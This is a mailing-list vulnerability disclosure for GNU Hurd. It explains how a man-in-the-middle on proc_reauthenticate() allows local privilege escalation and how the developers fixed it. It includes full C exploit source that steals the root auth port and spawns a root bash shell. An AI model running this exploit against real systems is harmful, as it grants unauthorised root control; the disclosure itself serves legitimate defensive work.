guix-devel
[Top][All Lists]
Advanced

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[VULN 4/4] Process auth man-in-the-middle


From: Sergey Bugaev
Subject: [VULN 4/4] Process auth man-in-the-middle
Date: Tue, 2 Nov 2021 19:31:21 +0300

Short description
=================

The use of authentication protocol in the proc server is vulnerable to
man-in-the-middle attacks, which can be exploited for local privilege escalation
to get full root access to the system.


Background: authentication
==========================

Here, the word "authentication" refers not to a human user signing in to the
system, but rather to a component of the system communicating and proving its
authority to another component of the system. For example, to be able to open
and read a file, a client process may need to convince the translator which
provides the file that the client has the appropriate UIDs to be allowed to
access the file. Essentially, the Hurd authentication mechanism serves to bridge
the capability system of Mach with the *ambient authority* system of Unix UIDs.

To make the rest of the description easier to follow, I'm going to name the
involved actors, as is commonly done in literature [0]:

* Alice is a client process who wishes to authenticate itself
* Bob is a server process who's accepting authentication
* Carol is the Hurd auth server

[0]: https://en.wikipedia.org/wiki/Alice_and_Bob

The Hurd represents authority as _auth handles_, which are ports to the auth
server (Carol); each auth handle corresponds to a set of UIDs (and GIDs)
maintained by Carol. For Alice to authenticate itself to Bob means her
demonstrating (and proving) to Bob that she has an auth handle with a given set
of UIDs. A straightforward way to do that would be for Alice to send her auth
handle to Bob, letting Bob inspect it (by asking Carol what UIDs it represents).
However, giving Bob direct access to the auth handle is completely unacceptable,
because Alice may actually be more privileged than Bob: for instance, Alice may
be a root-owned process who reads a file from a file system implemented by Bob,
an unprivileged translator. The mere act of Alice authenticating herself should
not result in Bob getting root access.

So the Hurd authentication mechanism is instead designed as a three-way
handshake between Alice, Bob, and Carol:

1. First, Alice and Bob "shake hands" by agreeing on a "rendezvous" port right;
   this port right does not have to be anything special, but the two sides need
   to be in agreement about what it is. The typical way this works is that Alice
   creates a fresh new port to serve as the rendezvous port, and initiates the
   authentication process by sending the rendezvous port to Bob in a
   foo_reauthenticate () RPC call.

2. Next, Alice "shakes hands" with Carol the auth server by sending her the
   rendezvous port in a auth_user_authenticate () RPC call on her auth handle.

3. Concurrently with that, upon receiving the rendezvous port from Alice, Bob
   also "shakes hands" with Carol by also sending her the rendezvous port in a
   auth_server_authenticate () RPC call.

Carol matches up the two calls by the rendezvous port and returns Alice's UIDs
(but not her handle!) to Bob. Provided Bob trusts Carol (as he should, since
she's the trusted system auth server), he now reliably knows Alice's UIDs, but
he never got access to her auth handle.

Note: the role the rendezvous port plays in this is in a way similar to a
single-use read-only auth handle.


Background: man-in-the-middle attacks
=====================================

The design described above still has a fatal flaw: the possibility of
man-in-the-middle attacks. Let's imagine there's another process, Eve, who
stands in between Alice and Bob; so Alice is not talking to Bob directly, but
rather to Eve, while Eve is trying to impersonate Alice to Bob. (It would
perhaps be more correct to name the attacker Mallory rather than Eve, but I've
been thinking of her as of Eve for multiple years now, so I'll stick with that
name.)

Alice sends her rendezvous port to Eve in a foo_reauthenticate () RPC call. Eve,
instead of sending the port to Carol the auth server in a
auth_server_authenticate () call, forwards the port to Bob in her own
foo_reauthenticate () call. Bob then asks Carol about this rendezvous port, and
gets Alice's UIDs in response, since it's Alice (and not Eve) who passes the
rendezvous port to Carol on the client side. Yet, Bob believes the UIDs to
belong to Eve, since it's her who has been interacting with him. And so, Eve has
now effectively stolen Alice's identity.

Knowing that this could happen, Bob has to be aware that the UIDs Carol tells
him about may not, in fact, belong to the client who has initiated the
authentication process with him (Eve), they may instead belong to someone else
(Alice) who's being man-in-the-middle-attacked.

To make this work, the Hurd authentication protocol has one more feature: the
_new port_ mechanism. This new port is a port right that Bob may pass back to
Alice through Carol. Bob passes this new port to auth_server_authenticate (),
and Alice receives it from auth_user_authenticate (). In case of a
man-in-the-middle attack, it is Alice -- the actual owner of those UIDs that Bob
sees -- who receives this new port, not Eve, who has been interacting with Bob
and has initiated the authentication process. In other words, while Eve might be
able to play a man-in-the-middle up and until the authentication, once the
authentication is complete Alice and Bob will have a direct connection that
doesn't go through Eve, and it's this new connection that their further
communication should go through. (Exercise for the reader: if so, how is it
possible that rpctrace, the ultimate man-in-the-middle eavesdropping tool,
continues tracing calls on the new port after reauthentication just fine?)

As a consequence of this design, after the authentication, Bob should not trust
the original port -- the one foo_reauthenticate () has been called on -- any
more than he had trusted it before, because the port may still belong to Eve,
not Alice. Instead, Bob should trust the new port he has created and passed to
Alice, because he knows that this port is actually Alice's, not Eve's.


Background: uses of authentication
==================================

There are two protocols that use authentication in the Hurd: the I/O protocol
and the process protocol.

Filesystem translators typically structure their internal data model in such a
way that an io_t port refers to a "protid", that is, to a structure containing
authority information and a reference to a "peropen", which in turn contains
things like open flags and the current file offset, and in turn points to the
actual filesystem node. Multiple peropens can be made that refer to the same
file (if the file is opened multiple times). Multiple protids can be made that
refer to the same peropen, differing in authority, with the io_reauthenticate ()
call. A port to the new protid, having the new set of UIDs, is the _new port_
passed to the authenticating client through the auth server; the old protid is
not altered in any way, in full accordance with the reasoning presented above.

The other place where authentication is used is processes authenticating
themselves to the proc server. There can only be a single process port for one
process, not multiple differently authenticated ones, so the proc server does
not use the _new port_ mechanism and instead updates its idea of which UIDs the
process has directly.

In the case of proc_reauthenticate () it is fine that the new port mechanism is
unused, since, while you generally can't trust the translators you interact
with, processes trust the proc server to not play man-in-the-middle attacks
against them (indeed, the process server already has their task ports and
therefore complete access to anything that they have). Or in other terms, Alice
the client can be sure she's talking to Bob the proc server, and not to Eve,
since the connection is trusted.


The issue
=========

The justification presented in the above paragraph is actually insufficient. It
is still possible to exploit the fact that proc_reauthenticate () updates its
idea of process auth in-place instead of creating a separate new port.

Even though it's true that Alice knows for sure that she's talking to Bob the
proc server, Bob cannot be sure he's indeed talking to Alice (the owner of the
UIDs Bob gets from Carol), not Eve. It may be the case that Alice has been
authenticating to Eve for an entirely different reason -- specifically, Eve may
pose as a translator, and Alice may be a client of hers -- and Eve may have
forwarded Alice's rendezvous port to Bob the proc server, saying she wishes to
reauthenticate her process. Since there's nothing about rendezvous ports, nor
about the auth_{user,server}_authenticate () APIs, that identifies what kind of
port (process, or I/O, or potentially something else) is being reauthenticated,
it's entirely possible to forward a rendezvous port created for reauthenticating
an I/O handle to the proc server who expects to reauthenticate a process.


The exploit
===========

To exploit this, we basically have to implement the Eve side of the
man-in-the-middle attack against the proc server, and trick some privileged
Alice into authenticating to us.

To get someone privileged to authenticate to me, I went with the same
exec(/bin/su) trick, which makes the root filesystem reauthenticate all of the
processes file descriptors. If we place our own port among the file descriptors,
we'll get a io_reauthenticate () call from the root filesystem on it, which
we'll forward to the proc server, pretending to reauthenticate our process.

We launch a separate thread that will call _hurd_exec_paths (), which will block
until the exec is complete; we listen for messages sent to our fake file
descriptor port on the main thread. Once we're done with these shenanigans, it's
a good idea to close the file descriptor back, in order for it to not create
more troubles for us when we _actually_ start reauthenticating our file
descriptors during the setauth () call.


Exploit source code
===================

#include <mach/mach.h>
#include <stdio.h>
#include <error.h>
#include <unistd.h>
#include <stdlib.h>
#include <pthread.h>
#include <hurd.h>
#include <hurd/paths.h>
#include <hurd/msg.h>

#include "ioServer.h"

int ok_to_continue = 0;
pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
pthread_cond_t cond = PTHREAD_COND_INITIALIZER;

kern_return_t
S_io_reauthenticate (mach_port_t io,
                     mach_port_t rend)
{
  auth_t root_auth;
  process_t proc = getproc ();
  error_t err;
  task_t pid1_task;
  mach_port_t pid1_msgport;

  err = proc_reauthenticate (proc, rend, MACH_MSG_TYPE_MOVE_SEND);
  if (err)
    error (1, err, "proc_reauthenticate");

  sleep (2);

  pid1_task = pid2task (1);
  if (!pid1_task)
    error (1, errno, "pid2task");

  err = proc_getmsgport (proc, 1, &pid1_msgport);
  if (err)
    error (1, err, "proc_getmsgport");

  err = msg_get_init_port (pid1_msgport, pid1_task,
                           INIT_PORT_AUTH, &root_auth);
  if (err)
    error (1, err, "msg_get_init_port");

  fprintf (stderr, "Got root auth port :)\n");

  pthread_mutex_lock (&mutex);
  while (!ok_to_continue)
    pthread_cond_wait (&cond, &mutex);
  pthread_mutex_unlock (&mutex);

  err = setauth (root_auth);
  if (err)
    error (1, err, "setauth");

  if (setresuid (0, 0, 0) < 0)
    error (0, errno, "setresuid");
  if (setresgid (0, 0, 0) < 0)
    error (0, errno, "setresgid");

  execl ("/bin/bash", "/bin/bash", NULL);
  error (1, errno, "failed to exec bash");
}

mach_port_t port;

void *
thread_fn (void *meh)
{
  error_t err;
  task_t child;
  file_t su;
  int fd;

  fd = openport (port, 0);

  su = file_name_lookup ("/bin/su", O_EXEC, 0);
  if (err)
    error (1, err, "file_name_lookup");

  err = task_create (mach_task_self (), 0, &child);
  if (err)
    error (1, err, "task_create");

  err = _hurd_exec_paths (child, su,
                          "/bin/su", "bin/su",
                          NULL, NULL);
  if (err)
    error (1, err, "_hurd_exec_paths");

  close (fd);

  pthread_mutex_lock (&mutex);
  ok_to_continue = 1;
  pthread_mutex_unlock (&mutex);
  pthread_cond_signal (&cond);

  sleep (10000);
}

extern boolean_t
io_server (mach_msg_header_t *inp,
           mach_msg_header_t *outp);

int
main ()
{
  error_t err;
  pthread_t thread;

  port = mach_reply_port ();

  err = mach_port_insert_right (mach_task_self (),
                                port, port,
                                MACH_MSG_TYPE_MAKE_SEND);
  if (err)
    error (1, err, "mach_port_insert_right");

  err = pthread_create (&thread, NULL, thread_fn, NULL);
  if (err)
    error (1, err, "pthread_create");

  mach_msg_server (io_server, 1024, port);
}


Notes
=====

To build the exploit from source, you'll need to generate ioServer.c and
ioServer.h using MIG. A condition variable is probably an overkill for closing a
file descriptor, but the exploit does not aspire to be optimal in any way, it
just needs to successfully give me a root shell :)

Amusingly enough, authenticating to the proc server could instead be done as
simply as

routine proc_reauthenticate (
        process: process_t;
        auth: auth_t);

i.e. by simply sending an auth handle to the proc server, since, again, we know
for sure that the process server won't try to steal our auth, and it has no need
to. This would avoid *so* much of all these complications.

Also, I believe that it would, in theory, be possible to rearchitecture the proc
server to support multiple differently authenticated ports to the same process
(like protids in translators), while keeping calls like proc_pid2proc () and
proc_task2proc () working in a somewhat reasonable way. But I'm not at all
convinced that attempting this would be a good idea.


How we fixed the vulnerability
==============================

Conceptually, we want to make sure that Alice is indeed reauthenticating her
process, and not authenticating for some other reason. If she is, we know for
sure that she's talking to the proc server directly and there's no Eve to worry
about. To this end, we've made two changes:

* proc_reauthenticate () now creates a new port for the process and sends it to
  Alice via the new port mechanism. The old port is destroyed.

* There's a new RPC, proc_reauthenticate_complete (), which Alice has to call
  after receiving the new process port. This is how she confirms that she is
  indeed reauthenticating her process.

Only recreating the process port would not be enough. This is because, even
though the new port is reliably sent to Alice and not Eve, Eve would still be
able to get the new port. To do this, she would only need some other process
handle, on which she'd call proc_task2proc () passing her task port.

In the actual design, Eve wouldn't be able to access the new port this way,
because no changes to the process port or credentials are committed until and
unless the proc_reauthenticate_complete () call is received on the new port.



reply via email to

[Prev in Thread] Current Thread [Next in Thread]